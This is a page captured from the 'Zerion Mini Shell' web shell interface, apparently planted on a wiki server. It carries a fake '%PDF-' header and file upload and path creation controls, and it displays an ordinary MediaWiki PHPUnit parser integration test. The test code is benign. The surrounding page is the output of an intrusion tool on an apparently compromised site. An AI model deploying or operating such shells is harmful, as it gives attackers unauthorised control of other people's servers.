%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/tests/phpunit/includes/parser/
Upload File :
Create Path :
Current File : //www/varak.net/wiki.varak.net/tests/phpunit/includes/parser/ParserIntegrationTest.php

<?php

/**
 * This is the TestCase subclass for running a single parser test via the
 * ParserTestRunner integration test system.
 *
 * Note: the following groups are not used by PHPUnit.
 * The list in ParserTestFileSuite::__construct() is used instead.
 *
 * @group Database
 * @group Parser
 * @group ParserTests
 *
 * @todo covers tags
 */
class ParserIntegrationTest extends PHPUnit_Framework_TestCase {
	/** @var array */
	private $ptTest;

	/** @var ParserTestRunner */
	private $ptRunner;

	/** @var ScopedCallback */
	private $ptTeardownScope;

	public function __construct( $runner, $fileName, $test ) {
		parent::__construct( 'testParse', [ '[details omitted]' ],
			basename( $fileName ) . ': ' . $test['desc'] );
		$this->ptTest = $test;
		$this->ptRunner = $runner;
	}

	public function testParse() {
		$this->ptRunner->getRecorder()->setTestCase( $this );
		$result = $this->ptRunner->runTest( $this->ptTest );
		$this->assertEquals( $result->expected, $result->actual );
	}

	public function setUp() {
		$this->ptTeardownScope = $this->ptRunner->staticSetup();
	}

	public function tearDown() {
		if ( $this->ptTeardownScope ) {
			ScopedCallback::consume( $this->ptTeardownScope );
		}
	}
}

Zerion Mini Shell 1.0